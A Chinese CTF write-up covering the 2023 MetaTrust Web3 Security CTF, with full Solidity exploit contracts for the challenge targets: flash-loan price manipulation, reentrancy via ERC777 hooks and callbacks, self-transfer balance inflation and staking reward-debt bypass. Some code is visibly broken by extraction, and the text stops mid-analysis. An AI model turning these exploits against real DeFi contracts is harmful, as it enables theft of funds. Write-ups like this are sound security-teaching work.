2023 MetaTrust Web3 Security CTF writeup by Venom

WriteUp 7个月前 admin
721 0 0

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组)

greeterVault

https://github.com/MetaTrustLabs/ctf/commit/2e2c841250b67d98a2894425c5242dbcf7ce94a6#diff-597833c89f8719e8c208f1822f8cfc72b1b7581365bcded1c135dea97e22055d


2023 MetaTrust Web3 Security CTF writeup by Venom

greeterGate

constructor(bytes32  _data1,bytes32  _data2,bytes32  _data3) {
     data[0] = _data1;
     data[1] = _data2;
     data[2] = _data3;
  }
 function unlock(bytes memory _datapublic onlyThis {
       require(bytes16(_data) == bytes16(data[2]));
      locked = false;
   }

传进构造函数的三个data就在input后面

2023 MetaTrust Web3 Security CTF writeup by Venom

之后调用unlock函数就行

ByteVault

分析

1.全局观

代码量很少,只有一个withdraw()供调用

2.任务

将此合约的余额归零

function isSolved() public view returns(bool){
return address(this).balance == 0;
}

3.详细分析

modifier要求我们用合约进行攻击:

modifier onlyBytecode() {
require(msg.sender != tx.origin, "No high-level contracts allowed!");
_;
}

对于withdraw()的分析如下:我们需要用一个合约进行攻击,这个合约的字节码的字节长度需要是奇数,并且包含了0xdeadbeef

function withdraw() external onlyBytecode {
      uint256 sequence = 0xdeadbeef;
      bytes memory senderCode;

      address bytecaller = msg.sender;

// 那么大概意思就是要让我们用字节码创造一个合约
      assembly {
          let size := extcodesize(bytecaller) // 调用者的代码大小
          senderCode := mload(0x40) // 空闲指针
          // 修改空闲指针内容
          // 修改空闲指针内容,空闲指针指向新的可用内存(将要存储的 size和我们的合约代码 之后的位置)
          mstore(0x40, add(senderCode, and(add(add(size, 0x20), 0x1f), not(0x1f))))
          // 在内存中写入size和实际的合约代码内容
          //  操作之后的memory: |         size         |      实际的代码内容      |  空闲指针指向位置   |
          mstore(senderCode, size)
          extcodecopy(bytecaller, add(senderCode, 0x20), 0, size)
      }
      
      // 攻击合约的字节长度必须是奇数
      require(senderCode.length % 2 == 1, "Bytecode length must be even!");

      // 因此我们的字节码需要包含0xdeadbeef
      for(uint256 i = 0; i < senderCode.length - 3; i++) {
          // 第i个字节是0x000000de[de]
          if(senderCode[i] == byte(uint8(sequence >> 24)) 
              // 第i+1个字节是0x0000dead

              && senderCode[i+1] == byte(uint8((sequence >> 16) & 0xFF))
              // 第i+2个字节是0x00deadbe[be]
              && senderCode[i+2] == byte(uint8((sequence >> 8) & 0xFF))
              // 第i+3个字节是0xdeadbeef[ef]
              && senderCode[i+3] == byte(uint8(sequence & 0xFF))) {
              msg.sender.transfer(address(this).balance);
              return;
          }
      }
      revert("Sequence not found!");
  }

我的解题思路:字节码长度是奇数比较简单,不断尝试在合约中添加没用的代码,试出来奇数字节长度的合约;需要包含0xdeadbeef则直接将0xdeadbeef写成constant,硬编码进bytecode即可。

解题

contract attacker{
bytes constant aaa = "0xdeadbeef";
bytes constant bbb = hex"deadbeef";

function attack(BytecodeVault addr) public {
bytes memory xx = aaa;
bytes memory s = bbb;

addr.withdraw();
}

function() external payable{}
}

Achilles

分析

全局观

整个题目的主体为ERC20代币与pancakeSwap合约

任务

要求获取到至少100ether的weth

详细分析

在erc20合约Achilles中有 _airdrop函数:

    function _airdrop(address from, address to, uint256 tAmount) private {
uint256 seed = (uint160(msg.sender) | block.number) ^ (uint160(from) ^ uint160(to));
address airdropAddress;
for (uint256 i; i < airdropAmount;) {
airdropAddress = address(uint160(seed | tAmount));
_balances[airdropAddress] = airdropAmount;
emit Transfer(airdropAddress, airdropAddress, airdropAmount);
unchecked{
++i;
seed = seed >> 1;
}
}
}

在该函数中会给一个随机地址发送1wei的空投,这里发送空投的方式是将空投地址的余额变为0,同时这个空投地址的计算方式使用的是异或,是可逆的,所以空投地址可以被操控。

我们可以利用该函数将pair地址的erc20代币余额设置为1,这样就可以抬高该代币的价格。

同时,攻击合约也应该有一定量的代币,这里只需要使用该函数给攻击合约1wei的空投。

但是执行空投的次数为airdropAmount,目前默认为0。使用Airdrop函数可以指定任意的次数,但这里要求pair合约中weth的数量要ach代币数量的5倍以上,可以使用闪电贷功能,先借出一定数量的ach代币,满足数量要求,并在闪电贷回调函数中调用Airdrop更改airdropAmount。

题解

contract exp {

SetUp public setup = SetUp(0xF4Ae26b24c890702BcBe22Bdaf87a95D0b4993Dd);
Achilles public achilles = Achilles(setup.achilles());
PancakePair public pair = PancakePair(setup.pair());
WETH public weth = WETH(setup.weth());

constructor() {

// go();
// go1();
// go2();
// getflag();

}

function go() public {
pair.swap(900 ether, 0, address(this), bytes("0x001"));
}

function go1() public {
address to = address(uint160((uint160(address(this)) | block.number) ^ (uint160(address(this)) ^ uint160(address(pair)))));
achilles.transfer(to, 0);

to = address(uint160((uint160(address(this)) | block.number) ^ (uint160(address(this)) ^ uint160(address(this)))));
achilles.transfer(to, 0);
}

function go2() public {

pair.sync();

achilles.transfer(address(pair), 1);
pair.swap(0, 100 ether, address(this), bytes("0x"));

}

function getflag() public {
weth.transfer(0x314B789C7c53a9287E9f7FFF5701203962D656cE, 100 ether);
// require(setup.isSolved());
}

function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external {

achilles.Airdrop(1);
achilles.transfer(address(pair), amount0);
}

}

Who

分析

1.全局观

只有一个合约,一眼可以看出是过关斩将的题目类型:4个stage

2.任务

让mapping中的相关信息返回true

function isSolved() external view returns (bool) {
return stats[4][who];
}

3.详细分析

setup

很明显,是要用CREATE2创建特殊要求的地址,那么就需要用CREATE2爆破了。

function setup() external {
    require(uint256(uint160(msg.sender)) % 1000 == 137, "!good caller");
    who = msg.sender;
}

用下面的代码来爆破(FooEXP此时还尚未写):通过deploy部署得到符合setup()条件的攻击地址

function deploy() public returns(address){
       address addr;
       bytes memory bytecode = type(FooEXP).creationCode;
       uint256 salt = bruteForceDeploy();
       assembly {
           addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
       }
       deployedAddress = addr;
       return addr;
   }

   function getAddress( bytes memory bytecode, uint _salt) public view returns (address) {
       bytes32 hash = keccak256(
           abi.encodePacked(
               bytes1(0xff),
               address(this),
               _salt,
               keccak256(bytecode)
           )
       );

       // NOTE: cast last 20 bytes of hash to address
       return address(uint160(uint(hash)));
   }

   function bruteForceDeploy() public view returns(uint){
       for (uint i = 1; i < 999999; i++) {
           address addr = getAddress(type(FooEXP).creationCode, i);
           if (uint256(uint160(addr)) % 1000 == 137) {
               return i;
           }
       }
   }

stage1

攻击合约写一个check()方法,两次调用的返回结果不一样:第一次返回keccak256(abi.encodePacked("1337")),第二次返回keccak256(abi.encodePacked("13337")),和Ethernaut的[Elevator] (https://www.levi104.com/2023/06/23/04.Ethernaut%20CTF/11.Elevator/)原理一样

function stage1() external {
    require(msg.sender == who, "stage1: !setup");
    stats[1][msg.sender] = true;

    (, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("check()"));
    require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("1337")), "stage1: !check");

    (, data) = msg.sender.staticcall(abi.encodeWithSignature("check()"));
    require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("13337")), "stage1: !check2");
}

解题方案:由于staticcall不能修改状态,因此我们选择用gas剩余量来判断两次调用。如果让两次调用之间存在差别呢?我们的选择是通过staticcall计算gas的特点:冷地址消耗100gas,热地址消耗2600gas。第一次访问address(0x100)是热地址,返回”1337”,第二次访问address(0x100)是冷地址,消耗100gas,返回“13337”,这是关于[staticcall操作码] (https://www.evm.codes/?fork=shanghai)的特点。

function check() public view returns (bytes32) {
    uint startGas = gasleft();
    uint bal = address(0x100).balance;
    uint usedGas = startGas - gasleft();
    if (usedGas < 1000) {
        return keccak256(abi.encodePacked("13337"));
    }
    return keccak256(abi.encodePacked("1337"));
}

stage2

stage调用会不断地递归下去,直到gas消耗完,要么成功,要么revert(极大概率)

function stage2() external {
    require(stats[1][msg.sender], "goto stage1");
    stats[2][msg.sender] = true;
    require(this._stage2() == 7, "!stage2");
}

function _stage2() external payable returns (uint x) {
    unchecked {
        x = 1;
        try this._stage2() returns (uint x_) {
            x += x_;
        } catch {}
    }
}

我们无法知道程序会在什么时候停下来使得返回值为7,遇到这个情况,最好的方式就是爆破:我在foundry本地测试过了,大概会在40000~41000之间程序会成功,实际攻击题目的时候,不要从i=1开始遍历,因为gas会超过上限

function brure_force_stage2() public {
    for (uint i = 40200; i < 40399; i++) {
        (bool success, ) = address(chall).call{gas: i}(
            abi.encodeWithSignature("stage2()")
        );
        if (success) {
            break;
        }
    }
}

stage3

代码量很多,但是其实最简单,这个就是猜测数值,伪随机数,我们在同一笔交易中用相同的方式获取答案。另外需要注意的是,由于回调的时候有{gas: 3_888}限制,因此我们的回调函数要尽可能的小,否则会因为gas不足而revert

function stage3() external {
    require(stats[2][msg.sender], "goto stage2");
    stats[3][msg.sender] = true;
    uint[] memory challenge = new uint[](8);
    // 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知
    challenge[0] = (block.timestamp & 0xf0000000) >> 28;
    challenge[1] = (block.timestamp & 0xf000000) >> 24;
    challenge[2] = (block.timestamp & 0xf00000) >> 20;
    challenge[3] = (block.timestamp & 0xf0000) >> 16;
    challenge[4] = (block.timestamp & 0xf000) >> 12;
    challenge[5] = (block.timestamp & 0xf00) >> 8;
    challenge[6] = (block.timestamp & 0xf0) >> 4;
    challenge[7] = (block.timestamp & 0xf) >> 0;

    (, bytes memory data) = msg.sender.staticcall{gas: 3_888}(abi.encodeWithSignature("sort(uint256[])", challenge));
    uint[] memory answer = abi.decode(data, (uint[]));

     // 冒泡排序,从小到大
    for(uint i=0 ; i<8 ; i++) {
        for(uint j=i+1 ; j<8 ; j++) {
            if (challenge[i] > challenge[j]) {
                uint tmp = challenge[i];
                challenge[i] = challenge[j];
                challenge[j] = tmp;
            }
        }
    }

    // 从上面分析可以知道,我们的data decode出来之后,数据变化要和时间戳一样,而时间戳在一笔交易得知的
    for(uint i=0 ; i<8 ; i++) {
        require(challenge[i] == answer[i], "stage3: !sort");
    }
}

解决方案:我选择在一笔交易中,构造器中初始化随机数,不在方法中计算随机数否则gas是不够的,然后进行攻击

function sort(uint256[] memory) public returns (uint[] memory) {return challenge;}
constructor() {
    // 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知
    challenge[0] = (block.timestamp & 0xf0000000) >> 28;
    challenge[1] = (block.timestamp & 0xf000000) >> 24;
    challenge[2] = (block.timestamp & 0xf00000) >> 20;
    challenge[3] = (block.timestamp & 0xf0000) >> 16;
    challenge[4] = (block.timestamp & 0xf000) >> 12;
    challenge[5] = (block.timestamp & 0xf00) >> 8;
    challenge[6] = (block.timestamp & 0xf0) >> 4;
    challenge[7] = (block.timestamp & 0xf) >> 0;

    // 冒泡排序,从小到大
    for(uint i=0 ; i<8 ; i++) {
        for(uint j=i+1 ; j<8 ; j++) {
            if (challenge[i] > challenge[j]) {
                uint tmp = challenge[i];
                challenge[i] = challenge[j];
                challenge[j] = tmp;
            }
        }
    }
}

stage4

这里明显就是要找到stats[4] [who]在EVM的存储位置:涉及到嵌套mapping,找到stats[4] [who]的位置,然后设置为true即可

mapping (uint256 => mapping (address => bool)) stats; // slot_1

function stage4() external {
    require(stats[3][msg.sender], "goto stage3");
    (, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("pos()"));
    bytes32 pos = abi.decode(data, (bytes32));
    assembly {
        sstore(pos, 0x1)
    }
}

function isSolved() external view returns (bool) {
    return stats[4][who];
}

解决方案:

function firstMapping(uint256 _key,uint256 x) public pure returns(bytes32) {
    return keccak256(abi.encode(_key, x));
}

function secondMapping(address _key,uint256 x) public pure returns(bytes32) {
    return keccak256(abi.encode(_key, x));
}

function findPosition(address addr) public returns(bytes32){
    bytes32 a1 = firstMapping(4,1);
    bytes32 a2 = secondMapping(addr,uint256(a1));
    return a2;
}

解题

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "Foo";

contract ContainerDeployScript is Script {
    function run() public {
        uint256 deployerPrivateKey = vm.envUint("privatekey");

        vm.startBroadcast(deployerPrivateKey);

        Attacker xxx = new Attacker();
        xxx.attack();

        vm.stopBroadcast();
    }
}
contract Attacker {
    function attack() public{
        Foo foo = Foo(address(0x828b9ca82DFcC53743a1f60BeafEd1E200511a62));
        
        Deployer deployer = new Deployer(address(foo));
        FooEXP attacker = FooEXP(deployer.deploy());
        
        attacker.hack_setup(address(foo));
        attacker.hack1();
        attacker.hack2{gas:9000000000000}();
        attacker.hack3();
        
        bytes32 position = calPosition(address(attacker));
        attacker.set_pos(position);
        attacker.hack4();
    }

    function Mapping_1(uint256 _key,uint256 x) public pure returns(bytes32) {
        return keccak256(abi.encode(_key, x));
    }

    function Mapping_2(address _key,uint256 x) public pure returns(bytes32) {
        return keccak256(abi.encode(_key, x));
    }

    function calPosition(address addr) public returns(bytes32){
        bytes32 a1 = Mapping_1(4,1);
        bytes32 a2 = Mapping_2(addr,uint256(a1));
        return a2;
    }
}

contract FooEXP {
    Foo public chall;
    bytes32 _pos;
    uint[] public challenge = new uint[](8);

    constructor() {
        // 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知
        challenge[0] = (block.timestamp & 0xf0000000) >> 28;
        challenge[1] = (block.timestamp & 0xf000000) >> 24;
        challenge[2] = (block.timestamp & 0xf00000) >> 20;
        challenge[3] = (block.timestamp & 0xf0000) >> 16;
        challenge[4] = (block.timestamp & 0xf000) >> 12;
        challenge[5] = (block.timestamp & 0xf00) >> 8;
        challenge[6] = (block.timestamp & 0xf0) >> 4;
        challenge[7] = (block.timestamp & 0xf) >> 0;

        // 冒泡排序,从小到大
        for(uint i=0 ; i<8 ; i++) {
            for(uint j=i+1 ; j<8 ; j++) {
                if (challenge[i] > challenge[j]) {
                    uint tmp = challenge[i];
                    challenge[i] = challenge[j];
                    challenge[j] = tmp;
                }
            }
        }
    }

    function brure_force_stage2() public {
        for (uint i = 40200; i < 40399; i++) {
            (bool success, ) = address(chall).call{gas: i}(
                abi.encodeWithSignature("stage2()")
            );
            if (success) {
                break;
            }
        }
    }

    function hack_setup(address _addr) public {
        chall = Foo(_addr);
        chall.setup();
    }

    function hack1() public {
        chall.stage1();
    }

    function hack2() public {
        brure_force_stage2();
    }

    function hack3() public {
        chall.stage3();
    }

    function hack4() public {
        chall.stage4();
    }

    function check() public view returns (bytes32) {
        uint startGas = gasleft();
        uint bal = address(0x100).balance;
        uint bal = address(0x100).balance;
        uint usedGas = startGas - gasleft();
        if (usedGas < 1000) {
            return keccak256(abi.encodePacked("13337"));
        }
        return keccak256(abi.encodePacked("1337"));
    }

    function sort(uint256[] memory) public returns (uint[] memory) {
        return challenge;
    }

    function set_pos(bytes32 a) public{
        _pos = a;
    }

    function pos() public view returns(bytes32){
        return _pos;
    }
}

contract Deployer{
    Foo public chall;
    FooEXP public exp;
    uint salt;
    address public deployedAddress;
    
    constructor(address _addr) public {
        chall = Foo(_addr);
        
    }

    function getHash()external view returns(bytes32){
        bytes memory aaaa = type(FooEXP).creationCode;
        return keccak256(aaaa);
    }

    function deploy() public returns(address){
      
        address addr;
        bytes memory bytecode = type(FooEXP).creationCode;
        uint256 salt = bruteForceDeploy();
        assembly {
            addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
        }
        deployedAddress = addr;
        
        return addr;
    }

    function getAddress(
        bytes memory bytecode,
        uint _salt
    ) public view returns (address) {
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff),
                address(this),
                _salt,
                keccak256(bytecode)
            )
        );

        // NOTE: cast last 20 bytes of hash to address
        return address(uint160(uint(hash)));
    }

    function bruteForceDeploy() public view returns(uint){
        for (uint i = 1; i < 999999; i++) {
            address addr = getAddress(type(FooEXP).creationCode, i);
            if (uint256(uint160(addr)) % 1000 == 137) {
                return i;
            }
        }
    }

}

StakingPool

全局观

主合约是一个质押池合约,里面存放两种代币,两种代币分别ERC20和ERC20V2

任务

获取flag的条件是两种代币的数量达到一定的值

详细分析

function _transfer(address from, address to, uint256 amount) internal override virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        uint256 toBalance = _balances[to];
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] = toBalance + amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

在ERC20V2合约的_transfer函数中,在进行余额的变换中,使用了两个中间变量,当_transfer的from地址与to地址为相同地址时,由于中间变量的存在,转账之后的余额并不会减少,导致余额可以凭空增加。所以对于stageB,只要有一定量的token2,就可以通过自我转账来满足条件。 在向池子中存入代币时,会增加用户的debt

for (uint256 i = 0; i < rewardTokens.length; i++) {
            user.rewardDebt[rewardTokens[i]] = user
            .amount
             * (accTokenPerShare[rewardTokens[i]])
             / (PRECISION_FACTOR[rewardTokens[i]]);
        }

这会减少两种代币的奖励,但是池子合约本身是一个erc20合约,里面实现了transfer函数,可以将本合约的余额转到另一个地址,这时新地址的debt还是0,这样就可以获取到更多奖励代币。

题解

contract Exp {

    StakingPoolsDeployment public dev = StakingPoolsDeployment(0x6Bd0241e8D621ed87B5c58147A5c1dD1AFea82D7);
    StakingPools public pool = StakingPools(dev.stakingPools());
    ERC20 public token1 = ERC20(dev.rewardToken());
    ERC20V2 public token2 = ERC20V2(dev.rewardToken2());
    ERC20 public stakedToken = ERC20(dev.stakedToken());
    Holder public hold;

    address[] public airDrop;

    uint256 public token1b;
    uint256 public token2b;

    uint256 public blocknumber;

    constructor() {
        dev.faucet();
        stakedToken.approve(address(pool), type(uint256).max);
        pool.deposit(100000e18);

        hold = new Holder(address(dev), address(pool), address(this));
        pool.transfer(address(hold), 100000e18);
    }

    function test0() public {
        hold.withdraw(100000e18);
        token1b = token1.balanceOf(address(this));
        token2b = token2.balanceOf(address(this));
    }

    function test(uint256 count) public {
        dev.faucet();
        dev.faucet();
        stakedToken.approve(address(pool), type(uint256).max);
        hold = new Holder(address(dev), address(pool), address(this));
      
        for(uint256 i=0; i<=count; i++) {
            dev.faucet();
        }

        pool.deposit(count * 100000e18);
        pool.transfer(address(hold), count * 100000e18);
        
    }

    function test1(uint256 count) public {
        hold.withdraw(count);
        token1b = token1.balanceOf(address(this));
        token2b = token2.balanceOf(address(this));
    }
    function deposit() public {
        pool.deposit(100000e18);
    }

    function go() public {
        pool.withdraw(100000e18);

        token1b = token1.balanceOf(address(this));
        token2b = token2.balanceOf(address(this));

        pool.deposit(100000e18);
    }

    function withdraw() public {
        pool.withdraw(100000e18);

        token1b = token1.balanceOf(address(this));
        token2b = token2.balanceOf(address(this));
    }

    function number() public returns(uint256) {
        uint256 du = blocknumber - block.timestamp;
        blocknumber = block.timestamp;
        return du;
    }

    function stage1(uint256 amount) public {

        for(uint256 i=0; i<=amount; i++) {
            AirDrop airdrop = new AirDrop(address(dev), address(pool), address(this));
            airdrop.de();
            airDrop.push(address(airdrop));
        }
    }

    function withdraw(uint256 amount) public {

        for(uint256 i=0; i<=amount; i++) {
            AirDrop airdrop = AirDrop(airDrop[i]);
            airdrop.wi();
        }

        token1b = token1.balanceOf(address(this));
        token2b = token2.balanceOf(address(this));
    }

    function selfTransfer(uint256 amount) public {
        token2.transfer(address(this), amount);
    }

    function transfer(address token, address to, uint256 amount) public {
        ERC20(token).transfer(to, amount);
    }
}

contract Holder{
    StakingPoolsDeployment public dev;
    StakingPools public pool;
    address public owner;

    constructor(address _dev, address _pool, address _owner) {
        dev = StakingPoolsDeployment(_dev);
        pool = StakingPools(_pool);
        owner = _owner;
    }

    function withdraw(uint256 amount) public {
        pool.withdraw(amount);
        ERC20 token1 = ERC20(dev.rewardToken());
        ERC20V2 token2 = ERC20V2(dev.rewardToken2());
        token1.transfer(owner, token1.balanceOf(address(this)));
        token2.transfer(owner, token2.balanceOf(address(this)));
    }
}

DeFi Maze

DeFiPlatform.calculateYield(1,100000000000000000000,1)
=> DeFiPlatform.requestWithdrawal(7000000000000000000)
=> Vault.isSolved()

guseeGame

  • 知识点
    • CREATE2:常规
    • 内联汇编:零值槽位(用作空动态内存数组的初始值,永远不应该写入):内存0x60~0x80。考察了immutable变量的初始化赋值方式,本题在内存中取的位置是:0x80~0xa0、0xa0~0xc0和0xc0~0xe0
    • 预编译合约:0x0000000000000000000000000000000000000002每个节点都预编译了它,任何值传进去都是做sha2-256返回bytes32 假设我们用0x5B38Da6a701c568545dCfcB03FcB875f56beddC4用户进行解题
pragma solidity 0.8.21;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract A{
    function number() pure external returns(uint256){
        return 10;
    }
}

contract MyToken is ERC20 {
    constructor() ERC20("MyToken", "MTK") {
        _mint(msg.sender,100);
    }

}

contract GuessGame {
    uint256 private immutable random01;
    uint256 private immutable random02;
    uint256 private immutable random03;
    A private  immutable random04;
    MyToken private immutable mytoken;

    constructor(A _a) public {
        mytoken = new MyToken();

        random01 = uint160(msg.sender);
        random02 = uint256(keccak256(address(new A()).code));
        random03 = block.timestamp;
        random04 = _a; // 不要输入A的合约的地址,输入B合约的地址
        pureFunc();
    }

    function pureFunc() pure internal {
        assembly{
        // 1,2,32才是实际的random01、random02、random03的值
            mstore(0x80,1)
            mstore(0xa0,2)
            mstore(0xc0,32)
        }
    }

    function guess(uint256 _random01, uint256 _random02, uint256 _random03, uint256 _random04) external payable returns(bool){
        if(msg.value > 100 ether){
            // 100 eth! you are VIP!
        }else{
            // 零值槽位(用作空动态内存数组的初始值,永远不应该写入)
            // _random01 = 0x60 = 96  &&  msg.value = 1 wei
            uint256[] memory arr;
            uint256 money = msg.value;
            assembly{
                mstore(_random01, money)
            }
            require(random01 == arr.length,"wrong number01");
        }

        // CREATE2
        // C4 + 1 + 2 + 32 + ? = 2
        // msg.sender = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
        // 231 + ? = 2    ==>   0xE7(231) + ? = 0x02(2)  ==> ?=27
        // ==> _random02=27
        // 玩家需要自行计算自己的_random02,27是举个例子
        uint256 y = ( uint160(address(msg.sender)) + random01 + random02 + random03 + _random02) & 0xff;
        require(random02 == y,"wrong number02");

        // 似乎想用CREATE2爆破?这难度非常高,爆破要非常久
        // 不不不,这里的考点不是CREATE2而是precompile contract
        // _random03 = 0x0000000000000000000000000000000000000002   sha2-256        input: any      output: bytes32
        require(uint160(_random03) < uint160(0x0000000000fFff8545DcFcb03fCB875F56bedDc4));
        (,bytes memory data) = address(uint160(_random03)).staticcall("Fallbacker()");
        require(random03 == data.length,"wrong number03");

        // _random04 = 10
        require(random04.number() == _random04, "wrong number04");

        mytoken.transfer(msg.sender,100);
        payable(msg.sender).transfer(address(this).balance);

        return true;
    }

    function captureTheFalg() external view returns(bool){
        return mytoken.balanceOf(address(this)) == 0;
    }

}

registry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract NaryaRegistry {
    mapping(address => uint256) public records1;
    mapping(address => uint256) public records2;
    mapping(address => uint256) public balances;
    mapping(address => uint256) public NaryaHackers;
    mapping(address => uint256) public PwnLogs;

    event FLAG(address who);
    event log(string);
    event loguint(uint256);
    constructor() {}

    function isNaryaHacker(address who) public view returns (bool result) {
        return (NaryaHackers[who] > 0);
    }

    function identifyNaryaHacker() public {
        if (balances[msg.sender] == 0xDA0) {
            emit log("success");
            NaryaHackers[msg.sender] = 1;
            emit FLAG(msg.sender);
        }
    }

    function register() public {
        if (balances[msg.sender] > 0) {
            return;
        }
        records1[msg.sender] = 1;
        records2[msg.sender] = 1;
        balances[msg.sender] =
            0xDA0 +
            59425114757512643212875124 -
            records1[msg.sender] -
            records2[msg.sender];
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function pwn(uint256 _amount) public {
        address sender = msg.sender;
        require(PwnLogs[sender] == 0"Only ONCE. No More!");
        if (
            _amount < records1[sender] ||
            _amount < records2[sender] ||
            records1[sender] + (records2[sender]) != _amount
        ) {
            return;
        }

        if (balances[sender] >= _amount) {
            records1[sender] = records2[sender];
            records2[sender] = _amount;
            emit loguint(_amount);
            (bool result, ) = sender.call(
                abi.encodeWithSignature("PwnedNoMore(uint256)", _amount)
            );
            if (result) {
                result;
            }
            balances[sender] = balances[sender] - (_amount);
        }
        PwnLogs[sender] = 1;
    }
}

contract exp{
    address public target;
    NaryaRegistry public ng;
    uint256 index;
    uint256 r1;
    uint256 r2;
    event logb(bool);

    constructor(address _t) public{
        target = _t;
        r1 = 1;
        r2 = 1;
        ng = NaryaRegistry(target);
    }

    function attack() public{
        ng.register();
        ng.pwn(2);
    }

    function PwnedNoMore(uint256 _amount) public {
        r1 = r2;
        r2 = _amount;
        uint256 real_amount = r1 + r2;
        if(real_amount == 59425114757512643212875122){
            return;
        }
        target.call(
            abi.encodeWithSignature("pwn(uint256)",real_amount)
        );
    }

    function getflag() public{
        ng.identifyNaryaHacker();
    }
}

swap


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;



import "@openzeppelin/contracts/token/ERC20/IERC20.sol";



interface IPWNSwapPool is IERC20 {
function removeLiquidity(uint liquidity, address to, uint deadlineexternal returns (uint _ethAmount, uint _tokenAmount);
}



interface IERC1820Registry 
{
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementerexternal;



function getInterfaceImplementer(address _addr, bytes32 _interfaceHashexternal view returns (address);
}



contract Exploit 
{
// keccak256("ERC777TokensRecipient")
bytes32 constant internal TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b View in Tenderly ;



IPWNSwapPool public pool;



uint256 public reentryN = 0;
uint256 public liquidityR = 0;
uint256 public liquidityL = 0;



constructor(address _pool, address _erc1820) {
pool = IPWNSwapPool(_pool);



IERC1820Registry(_erc1820).setInterfaceImplementer(
address(this),
TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
}



// fallback function
fallback() external payable {}
receive() external payable {}



// callback function of ERC777 token receiver
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
external 
{
if (reentryN <= 1) {
return;
}



reentryN -= 1;
removeLiquidity();
}



function removeLiquidity(internal {
require(reentryN != 0"E02");
require(liquidityR != 0"E03");



if (reentryN == 1) {
pool.removeLiquidity(liquidityL, address(this), block.timestamp);
else {
pool.removeLiquidity(liquidityR, address(this), block.timestamp);
}
}



function run(uint256 _reentryNexternal {
require(reentryN == 0"E01");
reentryN = _reentryN;
liquidityR = pool.balanceOf(address(this)) / reentryN;
liquidityL =
pool.balanceOf(address(this)) - liquidityR * reentryN + liquidityR;



removeLiquidity();
}
}

ByteDance

分析

1.全局观

本题代码量很少,只有一个合约:isOddByte()isByteDance()是pure方法,只能调用checkCode()

2.任务

将状态变量solved设置为true,但是checkCode()中包含delegatecall,因此我们要成功调用checkCode()然后修改slot_0的内容为1

(bool success,) = _yourContract.delegatecall("");

function isSolved() public view returns(bool){
    return solved;
}

3.详细分析

3.1特殊要求

我们先来看两个会被调用到的pure方法:

isOddByte():输入一个字节的数据,要求该数据是奇数

function isOddByte(bytes1 b) internal pure returns (bool) {
    return (uint8(b) % 2) == 1;
}

isByteDance():如下代码分析,可以看出,我们不能够让程序进入到isPal := 0,要让他返回true

function isByteDance(bytes1 b) internal pure returns (bool) {
    bool isPal = true;
    assembly {
        let bVal := byte(0, b) // bVal就是b
        for { let i := 0 } lt(i, 4) { i := add(i, 1) } // 4次循环
        {
            // 7-i = x
            // bVal 逻辑右移 x 位 = y
            // y取最低一位
            let bitLeft := and(shr(sub(7, i), bVal), 0x01)
            // vVal逻辑右移i位 = x
            // x取最低一位
            let bitRight := and(shr(i, bVal), 0x01)
            // 不能进去,也就是bitLeft和bitRight要相等
            if iszero(eq(bitLeft, bitRight)) { 
                isPal := 0
            }
        }
    }
    return isPal;
}

根据此方法的要求,我们可以得到满足条件的bytes1数据:0x81

              [0x81]   |     [0x81]       
init       1000 0001   |   1000 0001   
shr(7)     0000 0001   |   1000 0001   shr(0)
shr(6)     0000 0010   |   0100 0000   shr(1)
shr(5)     0000 0100   |   0010 0000   shr(2)
shr(4)     0000 1000   |   0001 0000   shr(3)

再来看主函数checkCode():通过下面的分析,我们可以知道我们需要做的就是自己手动创建一个合约,这个合约的字节码需要满足相关的条件:每一个字节都要是奇数,存在一个字节内容满足isByteDance()

function checkCode(address _yourContract) public {
      require(!solved, "Challenge already solved"); 
      bytes memory code;
      uint256 size;
      bool hasDanceByte = false;
      
      // 那么大概意思就是要让我们用字节码创造一个合约
      assembly { 
          size := extcodesize(_yourContract) // 调用者的代码大小
          code := mload(0x40) // 空闲指针
          // 修改空闲指针内容,空闲指针指向新的可用内存(将要存储的 size和我们的合约代码 之后的位置)
          mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
          // 在内存中写入size和实际的合约代码内容
          //  操作之后的memory: |         size         |      实际的代码内容      |  空闲指针指向位置   |
          mstore(code, size)
          extcodecopy(_yourContract, add(code, 0x20), 0, size)
      }
      // 扫描我们合约字节码的每一个字节的内容
      for (uint256 i = 0; i < size; i++) {
          bytes1 b = code[i];
          // 如果这个字节满足isByteDance(),则返回true
          if (isByteDance(b)) { 
              hasDanceByte = true;
          }
          // 合约字节码的每一个字节都要是奇数
          require(isOddByte(b), "Byte is not odd");
      }
      require(hasDanceByte, "No palindrome byte found");
// 然后就delegatecall我们的攻击合约,修改slot_0内容为true
